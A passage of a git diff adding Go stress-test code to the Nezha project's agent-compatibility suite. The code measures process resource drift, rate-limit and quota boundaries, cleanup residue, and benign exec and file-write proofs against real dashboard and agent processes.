realFixture, stressResourceCaptureSpec{Phase: stressResourceBaseline, Diagnostics: fdDiagnostics}) + require.NoError(t, resourceErr) + rounds := make([]StressRoundEvidence, 0, len(plan.Rounds)) + for _, round := range plan.Rounds { + // WaitHealthy completes only after Close; live sessions are validated by NewHeldSessionSet. + evidenceValue, roundErr := runStressRound(ctx, realFixture, round) + require.NoError(t, roundErr) + require.NoError(t, ValidateStressRoundEvidence(round, evidenceValue)) + rounds = append(rounds, evidenceValue) + } + quota, quotaErr := runRealStressQuotaProbe(ctx, realFixture, paths.AgentSource().String()) + require.NoError(t, quotaErr) + endResources, resourceErr := captureStressResources(ctx, realFixture, stressResourceCaptureSpec{Phase: stressResourceEnd, Diagnostics: fdDiagnostics}) + require.NoError(t, resourceErr) + fdDiagnostics.WaitAndLog(t) + require.NoError(t, set.Close(ctx)) + require.NoError(t, set.WaitHealthy(ctx)) + cleanupErr := realFixture.close(ctx, nil) + require.NoError(t, cleanupErr) + cleanup := stressCleanupSummary(realFixture, dashboardIdentity, agentIdentities, workspaceRoots, cleanupErr) + resourceWindows := make([]StressProcessWindows, len(baselineResources)) + for index := range baselineResources { + resourceWindows[index] = StressProcessWindows{Process: baselineResources[index].Process, Baseline: baselineResources[index].Baseline, End: endResources[index].End} + } + evidenceValue := StressEvidence{Version: 1, Profile: plan.Profile, Seed: plan.Seed, PreparedBinaries: StressPreparedBinaries{DashboardBuildCount: 1, DashboardPathReused: true, AgentBuildCount: 1, AgentPathReused: true}, Quotas: quota, Warmups: warmups, Plan: plan, Iterations: []StressIterationEvidence{{Iteration: 1, Rounds: rounds, Resources: resourceWindows}}, Cleanup: cleanup} + for _, session := range plan.Sessions { + evidenceValue.Sessions = append(evidenceValue.Sessions, StressSessionEvidence{ID: session.ID, Kind: session.Kind, Succeeded: true}) + } + require.NoError(t, publishStressEvidence("/tmp/nezha-held-real-sessions", evidenceValue)) + _, err = readStressEvidence("/tmp/nezha-held-real-sessions") + require.NoError(t, err) +} + +type stressResourceCapturePhase uint8 + +const ( + stressResourceBaseline stressResourceCapturePhase = iota + stressResourceEnd +) + +type stressResourceCaptureSpec struct { + Phase stressResourceCapturePhase + Diagnostics *fdDiagnosticCollector +} + +func TestStressResourceCaptureSpec_UsesDisabledDiagnosticsWhenNil(t *testing.T) { + // Given / When + diagnostics := (stressResourceCaptureSpec{}).diagnostics() + + // Then + require.Nil(t, diagnostics) + require.False(t, diagnostics.Enabled()) +} + +func (spec stressResourceCaptureSpec) diagnostics() *fdDiagnosticCollector { + return spec.Diagnostics +} + +func captureStressResources(ctx context.Context, fixture *heldSessionSetRealFixture, spec stressResourceCaptureSpec) ([]StressProcessWindows, error) { + diagnostics := spec.diagnostics() + result := make([]StressProcessWindows, 0, len(fixture.agents)+1) + dashboard := fixture.dashboard.RuntimeIdentity() + dashboardProcess, err := NewStressDashboardProcess(dashboard.PID) + if err != nil { + return nil, err + } + windowSpec := processharness.WindowSpec{PID: dashboard.PID, Interval: contract.ResourceSampleInterval} + if spec.Phase == stressResourceBaseline { + windowSpec.ObserveSample = observeStressDashboardSQLiteJournal(fixture.dashboard.DatabasePath() + "-journal") + } + baseline, err := processharness.SampleWindow(ctx, windowSpec) + if err != nil { + return nil, err + } + dashboardWindow := StressProcessWindows{Process: dashboardProcess} + if spec.Phase == stressResourceEnd { + dashboardWindow.End = baseline + } else { + dashboardWindow.Baseline = baseline + } + result = append(result, dashboardWindow) + for index, instance := range fixture.agents { + identity := instance.RuntimeIdentity() + agentOrdinal, err := NewStressAgentOrdinal(index + 1) + if err != nil { + return nil, err + } + process, err := NewStressAgentProcess(agentOrdinal, identity.PID) + if err != nil { + return nil, err + } + baseline, err := processharness.SampleWindow(ctx, processharness.WindowSpec{PID: identity.PID, Interval: contract.ResourceSampleInterval, CaptureFDObservations: diagnostics.Enabled()}) + if err != nil { + return nil, err + } + window := StressProcessWindows{Process: process} + diagnosticWindow := fdDiagnosticAgentWindow{Process: process, Identity: identity, Window: baseline} + if spec.Phase == stressResourceEnd { + window.End = baseline + diagnostics.RecordEnd(ctx, diagnosticWindow) + } else { + window.Baseline = baseline + diagnostics.RecordBaseline(diagnosticWindow) + } + result = append(result, window) + } + return result, nil +} + +type realStressQuotaResponse struct { + UserAccepted int `json:"user_accepted"` + UserRejected int `json:"user_rejected"` + ServerAccepted int `json:"server_accepted"` + ServerRejected int `json:"server_rejected"` + Clean bool `json:"clean"` +} + +type realStressRateLimitResponse struct { + SecondAllowedCount int `json:"second_allowed_count"` + SecondRejectedAtCount int `json:"second_rejected_at_count"` + MinuteAllowedCount int `json:"minute_allowed_count"` + MinuteRejectedAtCount int `json:"minute_rejected_at_count"` +} + +func runRealStressQuotaProbe(ctx context.Context, fixture *heldSessionSetRealFixture, agentSource string) (StressQuotaEvidence, error) { + response, err := client.DoREST[struct{}, realStressQuotaResponse](ctx, fixture.controlPAT.Client, client.RESTRequest[struct{}]{Method: http.MethodPost, Path: "/agentcompat/io-stream-quota-probe", Body: &struct{}{}}) + if err != nil { + return StressQuotaEvidence{}, err + } + rateLimit, err := client.DoREST[struct{}, realStressRateLimitResponse](ctx, fixture.controlPAT.Client, client.RESTRequest[struct{}]{Method: http.MethodPost, Path: "/agentcompat/mcp-rate-limit-probe", Body: &struct{}{}}) + if err != nil { + return StressQuotaEvidence{}, err + } + pathLockProof, err := proveStressPathLockStripes(ctx, agentSource) + if err != nil { + return StressQuotaEvidence{}, err + } + return StressQuotaEvidence{PATSecond: StressQuotaBoundary{Allowed: rateLimit.SecondAllowedCount, Rejected: rateLimit.SecondRejectedAtCount, AllowedAccepted: rateLimit.SecondAllowedCount == 10, RejectedDenied: rateLimit.SecondRejectedAtCount == 11}, PATMinute: StressQuotaBoundary{Allowed: rateLimit.MinuteAllowedCount, Rejected: rateLimit.MinuteRejectedAtCount, AllowedAccepted: rateLimit.MinuteAllowedCount == 120, RejectedDenied: rateLimit.MinuteRejectedAtCount == 121}, UserStreams: StressQuotaBoundary{Allowed: response.UserAccepted, Rejected: response.UserAccepted + response.UserRejected, AllowedAccepted: response.UserAccepted == 20, RejectedDenied: response.UserRejected == 1}, ServerStreams: StressQuotaBoundary{Allowed: response.ServerAccepted, Rejected: response.ServerAccepted + response.ServerRejected, AllowedAccepted: response.ServerAccepted == 40, RejectedDenied: response.ServerRejected == 1}, PathLockStripes: pathLockProof.Stripes}, nil +} + +func stressCleanupSummary(fixture *heldSessionSetRealFixture, dashboardIdentity dashboard.RuntimeIdentity, agentIdentities []agent.ProcessIdentity, workspaceRoots []string, cleanupErr error) StressCleanupSummary { + summary := StressCleanupSummary{ReceiptCount: 1 + len(fixture.agents), WorkspaceResidue: 0} + receipts := make([]processharness.CleanupReceipt, 0, summary.ReceiptCount) + receipts = append(receipts, fixture.dashboard.CleanupReceipt()) + for _, instance := range fixture.agents { + receipts = append(receipts, instance.CleanupReceipt()) + } + for _, receipt := range receipts { + if !receipt.Passed { + summary.FailedReceiptCount++ + } + if receipt.Forced { + summary.ForcedCleanupCount++ + } + } + if !heldRealPIDGone(dashboardIdentity.PID) { + summary.ProcessResidue++ + } + if !heldRealGroupGone(dashboardIdentity.ProcessGroupID) { + summary.ProcessGroupResidue++ + } + for index := range fixture.agents { + identity := agentIdentities[index] + if !heldRealPIDGone(identity.PID) { + summary.ProcessResidue++ + } + if !heldRealGroupGone(identity.ProcessGroupID) { + summary.ProcessGroupResidue++ + } + } + for _, root := range workspaceRoots { + if !heldSessionSetRealWorkspaceGone(root) { + summary.WorkspaceResidue++ + } + } + summary.Passed = cleanupErr == nil && summary.ReceiptCount == 9 && summary.FailedReceiptCount == 0 && summary.ForcedCleanupCount == 0 && summary.ProcessResidue == 0 && summary.ProcessGroupResidue == 0 && summary.WorkspaceResidue == 0 + return summary +} diff --git a/integration/agentcompat/internal/scenario/stress_real_operations.go b/integration/agentcompat/internal/scenario/stress_real_operations.go new file mode 100644 index 00000000..f9e89928 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_real_operations.go @@ -0,0 +1,152 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "errors" + "fmt" + "os" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +type stressOperationExecutor struct { + fixture *heldSessionSetRealFixture + plan StressOperationPlan +} + +func (executor stressOperationExecutor) run(ctx context.Context) StressOperationEvidence { + started := time.Now() + proof, err := executor.execute(ctx) + completed := time.Now() + evidenceValue := StressOperationEvidence{ID: executor.plan.ID, Round: executor.plan.Round, Agent: executor.plan.Agent, PAT: executor.plan.PAT, Kind: executor.plan.Kind, LaunchedAt: started, CompletedAt: completed, Succeeded: err == nil, SuccessProof: proof} + if err != nil { + evidenceValue.Error = errorText(err) + } + return evidenceValue +} + +func (executor stressOperationExecutor) execute(ctx context.Context) (string, error) { + if executor.fixture == nil || executor.plan.Agent.Int() < 1 || executor.plan.Agent.Int() > len(executor.fixture.agents) || executor.plan.Agent.Int() > len(executor.fixture.readiness) || executor.plan.Agent.Int() > len(executor.fixture.agentPATs) { + return "", errors.New("stress operation fixture mapping is invalid") + } + if executor.plan.PAT.String() == "" { + return "", errors.New("stress operation PAT is empty") + } + serverID := executor.fixture.readiness[executor.plan.Agent.Int()-1].ServerID + patIdentity, err := stressOperationPATIdentity(executor.fixture, executor.plan) + if err != nil { + return "", err + } + switch executor.plan.Kind { + case StressOperationExec: + return executor.exec(ctx, patIdentity.Client, serverID) + case StressOperationFilesystem: + return executor.filesystem(ctx, patIdentity.Client, serverID) + default: + return "", errors.New("unsupported stress operation kind") + } +} + +func stressOperationPATIdentity(fixture *heldSessionSetRealFixture, plan StressOperationPlan) (heldRealPATIdentity, error) { + index := plan.Agent.Int() - 1 + for _, round := range fixture.plan.Rounds { + for _, planned := range round.Operations { + if planned.ID == plan.ID { + if planned.Agent != plan.Agent || planned.Kind != plan.Kind || planned.PAT != plan.PAT { + return heldRealPATIdentity{}, errors.New("stress operation plan PAT mapping is invalid") + } + return fixture.agentPATs[index], nil + } + } + } + for _, round := range fixture.plan.Rounds { + for _, planned := range round.Operations { + if planned.Agent == plan.Agent && planned.PAT == plan.PAT && planned.Kind == plan.Kind { + return fixture.agentPATs[index], nil + } + } + } + return heldRealPATIdentity{}, errors.New("stress operation is absent from canonical plan") +} + +func runStressWarmups(ctx context.Context, fixture *heldSessionSetRealFixture, plan StressPlan) ([]StressWarmupEvidence, error) { + warmups := make([]StressWarmupEvidence, 0, len(fixture.agents)) + for agentIndex := range fixture.agents { + agentOrdinal, err := NewStressAgentOrdinal(agentIndex + 1) + if err != nil { + return nil, err + } + pat := StressPATID{} + for _, operation := range plan.Rounds[0].Operations { + if operation.Agent == agentOrdinal { + pat = operation.PAT + break + } + } + if pat.String() == "" { + return nil, errors.New("stress warmup PAT mapping is invalid") + } + execID, err := NewStressOperationID(fmt.Sprintf("warmup-exec-a%02d", agentOrdinal.Int())) + if err != nil { + return nil, err + } + execResult := stressOperationExecutor{fixture: fixture, plan: StressOperationPlan{ID: execID, Agent: agentOrdinal, PAT: pat, Kind: StressOperationExec}} + if _, err := execResult.execute(ctx); err != nil { + return nil, err + } + filesystemID, err := NewStressOperationID(fmt.Sprintf("warmup-filesystem-a%02d", agentOrdinal.Int())) + if err != nil { + return nil, err + } + filesystemResult := stressOperationExecutor{fixture: fixture, plan: StressOperationPlan{ID: filesystemID, Round: 0, Agent: agentOrdinal, PAT: pat, Kind: StressOperationFilesystem}} + if _, err := filesystemResult.execute(ctx); err != nil { + return nil, err + } + warmups = append(warmups, StressWarmupEvidence{Agent: agentOrdinal, Exec: true, Filesystem: true, Terminal: true, NAT: true, FM: true}) + } + return warmups, nil +} + +func (executor stressOperationExecutor) exec(ctx context.Context, patClient *client.Client, serverID uint64) (string, error) { + const token = "agentcompat-stress-exec-proof" + result, err := client.CallTool[execArguments, execResult](ctx, patClient, client.ToolCall[execArguments]{Name: "server.exec", Arguments: execArguments{ServerID: serverID, Cmd: "/bin/sh", Args: []string{"-c", "printf " + token}}}) + if err != nil || result.StructuredContent.ExitCode != 0 || result.StructuredContent.Stdout != token || result.StructuredContent.Error != "" || result.StructuredContent.TimedOut || result.StructuredContent.StdoutTruncated { + return "", errors.New("stress Exec proof failed") + } + return stressProof(token), nil +} + +func (executor stressOperationExecutor) filesystem(ctx context.Context, patClient *client.Client, serverID uint64) (string, error) { + parent := executor.fixture.agents[executor.plan.Agent.Int()-1].WorkspaceRoot() + return executeStressFilesystemProof(ctx, patClient, serverID, parent, executor.plan.ID.String(), executor.plan.Round) +} + +func executeStressFilesystemProof(ctx context.Context, patClient *client.Client, serverID uint64, parent, operationID string, round int) (string, error) { + root, err := fixture.NewAgentRoot(parent, fmt.Sprintf("stress-%s", operationID)) + if err != nil { + return "", err + } + defer os.RemoveAll(root.Absolute()) + filesystem := newMCPFilesystemClient(patClient, serverID, root) + content := "agentcompat-stress-filesystem-proof" + relative := fmt.Sprintf("round-%d/%s.txt", round, operationID) + written, err := filesystem.write(ctx, mcpFilesystemWrite{relative: relative, content: content, encoding: "utf8", mode: "0600", createDirs: true}) + if err != nil { + return "", fmt.Errorf("stress filesystem write proof failed: %w", err) + } + if written.StructuredContent.Size != int64(len(content)) || written.StructuredContent.SHA256 != stressProof(content) || written.StructuredContent.Error != "" { + return "", errors.New("stress filesystem write proof response invalid") + } + return stressProof(content), nil +} + +func stressProof(value string) string { + digest := sha256.Sum256([]byte(value)) + return hex.EncodeToString(digest[:]) +} diff --git a/integration/agentcompat/internal/scenario/stress_real_operations_test.go b/integration/agentcompat/internal/scenario/stress_real_operations_test.go new file mode 100644 index 00000000..02c97553 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_real_operations_test.go @@ -0,0 +1,78 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func TestStressFilesystemUsesAgentPAT(t *testing.T) { + fixture := &heldSessionSetRealFixture{ + agentPATs: []heldRealPATIdentity{{TokenID: 1}}, + } + operation := StressOperationPlan{Agent: mustStressAgentOrdinal(t, 1), PAT: mustStressPATID(t, "pat-1"), Kind: StressOperationFilesystem} + + fixture.plan = StressPlan{Rounds: []StressRoundPlan{{Operations: []StressOperationPlan{operation}}}} + selected, err := stressOperationPATIdentity(fixture, operation) + require.NoError(t, err) + require.Equal(t, uint64(1), selected.TokenID) +} + +func TestStressExecUsesAgentPAT(t *testing.T) { + fixture := &heldSessionSetRealFixture{ + agentPATs: []heldRealPATIdentity{{TokenID: 1}}, + } + operation := StressOperationPlan{Agent: mustStressAgentOrdinal(t, 1), PAT: mustStressPATID(t, "pat-1"), Kind: StressOperationExec} + + fixture.plan = StressPlan{Rounds: []StressRoundPlan{{Operations: []StressOperationPlan{operation}}}} + selected, err := stressOperationPATIdentity(fixture, operation) + require.NoError(t, err) + require.Equal(t, uint64(1), selected.TokenID) +} + +func TestStressFilesystemProofDispatchesOneWrite(t *testing.T) { + requests := make([]string, 0, 1) + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + var envelope struct { + Params struct { + Name string `json:"name"` + } `json:"params"` + } + require.NoError(t, json.NewDecoder(request.Body).Decode(&envelope)) + requests = append(requests, envelope.Params.Name) + writer.Header().Set("Content-Type", "application/json") + _, err := writer.Write([]byte(`{"jsonrpc":"2.0","id":1,"result":{"content":[],"structuredContent":{"size":35,"sha256":"6ececdd71257073948afc9c699d12d3075d05d3dc339c4511496c3fbc27a2081"}}}`)) + require.NoError(t, err) + })) + t.Cleanup(server.Close) + mcpClient, err := client.New(client.Config{BaseURL: server.URL}) + require.NoError(t, err) + parent := t.TempDir() + + proof, err := executeStressFilesystemProof(t.Context(), mcpClient, 17, parent, "operation", 1) + + require.NoError(t, err) + require.Equal(t, stressProof("agentcompat-stress-filesystem-proof"), proof) + require.Equal(t, []string{"fs.write"}, requests) +} + +func mustStressAgentOrdinal(t *testing.T, value int) StressAgentOrdinal { + t.Helper() + ordinal, err := NewStressAgentOrdinal(value) + require.NoError(t, err) + return ordinal +} + +func mustStressPATID(t *testing.T, value string) StressPATID { + t.Helper() + pat, err := NewStressPATID(value) + require.NoError(t, err) + return pat +} diff --git a/integration/agentcompat/internal/scenario/stress_resource.go b/integration/agentcompat/internal/scenario/stress_resource.go new file mode 100644 index 00000000..fced09b7 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_resource.go @@ -0,0 +1,108 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +var ( + ErrStressProcessWindow = errors.New("stress process window is invalid") + ErrStressResourceDrift = errors.New("stress process resource count drifted") + ErrStressRSSLimit = errors.New("stress process RSS limit exceeded") +) + +type StressProcessWindows struct { + Process StressProcessIdentity `json:"process"` + Baseline processharness.Window `json:"baseline"` + End processharness.Window `json:"end"` +} + +type StressResourceMaxima struct { + RSSBytes uint64 `json:"rss_bytes"` + Descendants int `json:"descendants"` + NonStdioFDs int `json:"non_stdio_fds"` + TCPListeners int `json:"tcp_listeners"` + TCP6Listeners int `json:"tcp6_listeners"` +} + +type StressResourceEvaluation struct { + Process StressProcessIdentity `json:"process"` + Baseline StressResourceMaxima `json:"baseline"` + End StressResourceMaxima `json:"end"` + RSSDeltaBytes uint64 `json:"rss_delta_bytes"` + RSSLimitBytes uint64 `json:"rss_limit_bytes"` +} + +func EvaluateStressResource(input StressProcessWindows) (StressResourceEvaluation, error) { + baseline, err := stressWindowMaxima(input.Process, input.Baseline) + if err != nil { + return StressResourceEvaluation{}, err + } + end, err := stressWindowMaxima(input.Process, input.End) + if err != nil { + return StressResourceEvaluation{}, err + } + budget := contract.DefaultResourceBudget() + if end.Descendants != baseline.Descendants || end.NonStdioFDs != baseline.NonStdioFDs || end.TCPListeners != baseline.TCPListeners || end.TCP6Listeners != baseline.TCP6Listeners { + return StressResourceEvaluation{}, fmt.Errorf("process=%s baseline=%+v end=%+v baseline_samples=%+v end_samples=%+v: %w", input.Process.key(), baseline, end, resourceCountSamples(input.Baseline), resourceCountSamples(input.End), ErrStressResourceDrift) + } + limit, err := stressRSSLimit(input.Process, budget) + if err != nil { + return StressResourceEvaluation{}, err + } + delta := uint64(0) + if end.RSSBytes > baseline.RSSBytes { + delta = end.RSSBytes - baseline.RSSBytes + } + if delta > limit { + return StressResourceEvaluation{}, fmt.Errorf("process=%s RSS delta=%d limit=%d: %w", input.Process.key(), delta, limit, ErrStressRSSLimit) + } + return StressResourceEvaluation{Process: input.Process, Baseline: baseline, End: end, RSSDeltaBytes: delta, RSSLimitBytes: limit}, nil +} + +func resourceCountSamples(window processharness.Window) []string { + result := make([]string, 0, len(window.Samples)) + for _, sample := range window.Samples { + result = append(result, fmt.Sprintf("descendants=%d fd=%d tcp=%d tcp6=%d", sample.DescendantCount, sample.NonStdioFDCount, sample.TCPListenerCount, sample.TCP6ListenerCount)) + } + return result +} + +func stressWindowMaxima(process StressProcessIdentity, window processharness.Window) (StressResourceMaxima, error) { + if process.PID < 1 || window.PID != process.PID || len(window.Samples) != contract.ResourceSampleCount { + return StressResourceMaxima{}, fmt.Errorf("process=%s window PID=%d samples=%d: %w", process.key(), window.PID, len(window.Samples), ErrStressProcessWindow) + } + maxima := StressResourceMaxima{} + for _, sample := range window.Samples { + if sample.PID != process.PID || sample.PID < 1 { + return StressResourceMaxima{}, fmt.Errorf("process=%s sample PID=%d: %w", process.key(), sample.PID, ErrStressProcessWindow) + } + maxima.RSSBytes = max(maxima.RSSBytes, sample.RSSBytes) + // Count drift compares each window's terminal state. Using a baseline high-water + // mark turns legitimate short-lived work that has already drained into a leak. + maxima.Descendants = sample.DescendantCount + maxima.NonStdioFDs = sample.NonStdioFDCount + maxima.TCPListeners = sample.TCPListenerCount + maxima.TCP6Listeners = sample.TCP6ListenerCount + } + return maxima, nil +} + +func stressRSSLimit(process StressProcessIdentity, budget contract.ResourceBudget) (uint64, error) { + switch process.Kind { + case StressProcessDashboard: + return budget.DashboardRSSDeltaBytes(), nil + case StressProcessAgent: + if process.Agent.Int() < 1 { + return 0, fmt.Errorf("process=%s: %w", process.key(), ErrStressIdentity) + } + return budget.AgentRSSDeltaBytes(), nil + default: + return 0, fmt.Errorf("process kind=%q: %w", process.Kind, ErrStressIdentity) + } +} diff --git a/integration/agentcompat/internal/scenario/stress_resource_test.go b/integration/agentcompat/internal/scenario/stress_resource_test.go new file mode 100644 index 00000000..03e3c105 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_resource_test.go @@ -0,0 +1,178 @@ +//go:build linux + +package scenario + +import ( + "testing" + + "github.com/stretchr/testify/require" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func TestStress_RejectsLeakedFD(t *testing.T) { + input := stressDashboardResourceFixture(100) + for index := range input.End.Samples { + input.End.Samples[index].NonStdioFDCount++ + } + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsSingleSampleFDTransient(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.End.Samples[4].NonStdioFDCount++ + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_AcceptsRecoveredBaselineFDTransient(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.Baseline.Samples[1].NonStdioFDCount = 9 + + evaluation, err := EvaluateStressResource(input) + + require.NoError(t, err) + require.Equal(t, 3, evaluation.Baseline.NonStdioFDs) + require.Equal(t, 3, evaluation.End.NonStdioFDs) +} + +func TestStress_RejectsSingleSampleDescendantTransient(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.End.Samples[4].DescendantCount++ + _, err := EvaluateStressResource(input) + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsSingleSampleTCPTransient(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.End.Samples[4].TCPListenerCount++ + _, err := EvaluateStressResource(input) + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsSingleSampleTCP6Transient(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.End.Samples[4].TCP6ListenerCount++ + _, err := EvaluateStressResource(input) + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsDecreasedDescendants(t *testing.T) { + input := stressDashboardResourceFixture(100) + for index := range input.End.Samples { + input.End.Samples[index].DescendantCount = 0 + input.Baseline.Samples[index].DescendantCount = 1 + } + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsDecreasedFDs(t *testing.T) { + input := stressDashboardResourceFixture(100) + for index := range input.End.Samples { + input.End.Samples[index].NonStdioFDCount = 2 + input.Baseline.Samples[index].NonStdioFDCount = 3 + } + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsDecreasedTCPListeners(t *testing.T) { + input := stressDashboardResourceFixture(100) + for index := range input.End.Samples { + input.End.Samples[index].TCPListenerCount = 0 + input.Baseline.Samples[index].TCPListenerCount = 1 + } + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsDecreasedTCP6Listeners(t *testing.T) { + input := stressDashboardResourceFixture(100) + for index := range input.End.Samples { + input.End.Samples[index].TCP6ListenerCount = 0 + input.Baseline.Samples[index].TCP6ListenerCount = 1 + } + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressResourceDrift) +} + +func TestStress_RejectsDashboardRSSOverLimit(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.End.Samples[4].RSSBytes = 100 + 67108865 + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressRSSLimit) +} + +func TestStress_RejectsAgentRSSOverLimit(t *testing.T) { + agent, err := NewStressAgentOrdinal(4) + require.NoError(t, err) + identity, err := NewStressAgentProcess(agent, 404) + require.NoError(t, err) + input := StressProcessWindows{Process: identity, Baseline: stressWindow(404, 100), End: stressWindow(404, 100+33554433)} + + _, err = EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressRSSLimit) +} + +func TestStress_RejectsVanishedPID(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.End.Samples[2].PID = 0 + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressProcessWindow) +} + +func TestStress_RejectsIncompleteSampleWindow(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.End.Samples = input.End.Samples[:4] + + _, err := EvaluateStressResource(input) + + require.ErrorIs(t, err, ErrStressProcessWindow) +} + +func TestStress_UsesFinalCountSampleButWindowRSSMaximum(t *testing.T) { + input := stressDashboardResourceFixture(100) + input.Baseline.Samples[0].NonStdioFDCount = 4 + input.End.Samples[0].NonStdioFDCount = 4 + input.End.Samples[4].RSSBytes = 110 + + evaluation, err := EvaluateStressResource(input) + + require.NoError(t, err) + require.Equal(t, uint64(10), evaluation.RSSDeltaBytes) +} + +func stressDashboardResourceFixture(rss uint64) StressProcessWindows { + identity, err := NewStressDashboardProcess(101) + if err != nil { + panic(err) + } + return StressProcessWindows{Process: identity, Baseline: stressWindow(101, rss), End: stressWindow(101, rss)} +} + +func stressWindow(pid int, rss uint64) processharness.Window { + samples := make([]processharness.Sample, 5) + for index := range samples { + samples[index] = processharness.Sample{PID: pid, RSSBytes: rss, NonStdioFDCount: 3, TCPListenerCount: 1} + } + return processharness.Window{PID: pid, Samples: samples} +} diff --git a/integration/agentcompat/internal/scenario/stress_round.go b/integration/agentcompat/internal/scenario/stress_round.go new file mode 100644 index 00000000..1e3ffe08 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_round.go @@ -0,0 +1,90 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + "time" +) + +var ( + ErrStressOperationSet = errors.New("stress operation evidence set is invalid") + ErrStressLaunchWindow = errors.New("stress operation launch window exceeded one second") +) + +const stressLaunchWindow = time.Second + +type StressOperationEvidence struct { + ID StressOperationID `json:"id"` + Round int `json:"round"` + Agent StressAgentOrdinal `json:"agent"` + PAT StressPATID `json:"pat_id"` + Kind StressOperationKind `json:"kind"` + LaunchedAt time.Time `json:"launched_at"` + CompletedAt time.Time `json:"completed_at"` + Succeeded bool `json:"succeeded"` + SuccessProof string `json:"success_proof"` + Error string `json:"error,omitempty"` +} + +type StressRoundEvidence struct { + Round int `json:"round"` + Operations []StressOperationEvidence `json:"operations"` +} + +func ValidateStressRoundEvidence(plan StressRoundPlan, evidence StressRoundEvidence) error { + matched, err := matchStressRoundEvidence(plan, evidence) + if err != nil { + return err + } + for _, operation := range matched { + if !operation.Succeeded || operation.SuccessProof == "" || operation.Error != "" { + return fmt.Errorf("operation %s did not succeed: %w", operation.ID.String(), ErrStressOperationSet) + } + } + return nil +} + +func matchStressRoundEvidence(plan StressRoundPlan, evidence StressRoundEvidence) ([]StressOperationEvidence, error) { + if evidence.Round != plan.Round || len(evidence.Operations) != len(plan.Operations) { + return nil, fmt.Errorf("round=%d operations=%d want round=%d operations=%d: %w", evidence.Round, len(evidence.Operations), plan.Round, len(plan.Operations), ErrStressOperationSet) + } + expected := make(map[StressOperationID]struct{}, len(plan.Operations)) + for _, operation := range plan.Operations { + expected[operation.ID] = struct{}{} + } + matched := make([]StressOperationEvidence, 0, len(evidence.Operations)) + seen := make(map[StressOperationID]struct{}, len(evidence.Operations)) + var firstLaunch, lastLaunch time.Time + for index, operation := range evidence.Operations { + planned := plan.Operations[index] + if _, exists := expected[operation.ID]; !exists { + return nil, fmt.Errorf("unexpected operation %s: %w", operation.ID.String(), ErrStressOperationSet) + } + if operation.Round != planned.Round || operation.Agent != planned.Agent || operation.PAT != planned.PAT || operation.Kind != planned.Kind || operation.ID != planned.ID { + return nil, fmt.Errorf("operation %s owner or order mismatch: %w", operation.ID.String(), ErrStressOperationSet) + } + if _, duplicate := seen[operation.ID]; duplicate { + return nil, fmt.Errorf("duplicate operation %s: %w", operation.ID.String(), ErrStressOperationSet) + } + if operation.LaunchedAt.IsZero() || operation.CompletedAt.Before(operation.LaunchedAt) { + return nil, fmt.Errorf("operation %s timing is invalid: %w", operation.ID.String(), ErrStressOperationSet) + } + if operation.Succeeded && operation.SuccessProof == "" { + return nil, fmt.Errorf("operation %s proof is empty: %w", operation.ID.String(), ErrStressOperationSet) + } + seen[operation.ID] = struct{}{} + matched = append(matched, operation) + if firstLaunch.IsZero() || operation.LaunchedAt.Before(firstLaunch) { + firstLaunch = operation.LaunchedAt + } + if lastLaunch.IsZero() || operation.LaunchedAt.After(lastLaunch) { + lastLaunch = operation.LaunchedAt + } + } + if lastLaunch.Sub(firstLaunch) > stressLaunchWindow { + return nil, fmt.Errorf("launch window=%s: %w", lastLaunch.Sub(firstLaunch), ErrStressLaunchWindow) + } + return matched, nil +} diff --git a/integration/agentcompat/internal/scenario/stress_round_run.go b/integration/agentcompat/internal/scenario/stress_round_run.go new file mode 100644 index 00000000..fb5df7ed --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_round_run.go @@ -0,0 +1,91 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "errors" + "fmt" + "sync" +) + +func runStressRound(ctx context.Context, fixture *heldSessionSetRealFixture, plan StressRoundPlan) (StressRoundEvidence, error) { + registry, err := newStressExactOnceRegistry(StressPlan{Rounds: []StressRoundPlan{plan}}) + if err != nil { + return StressRoundEvidence{}, err + } + ready := make(chan struct{}, 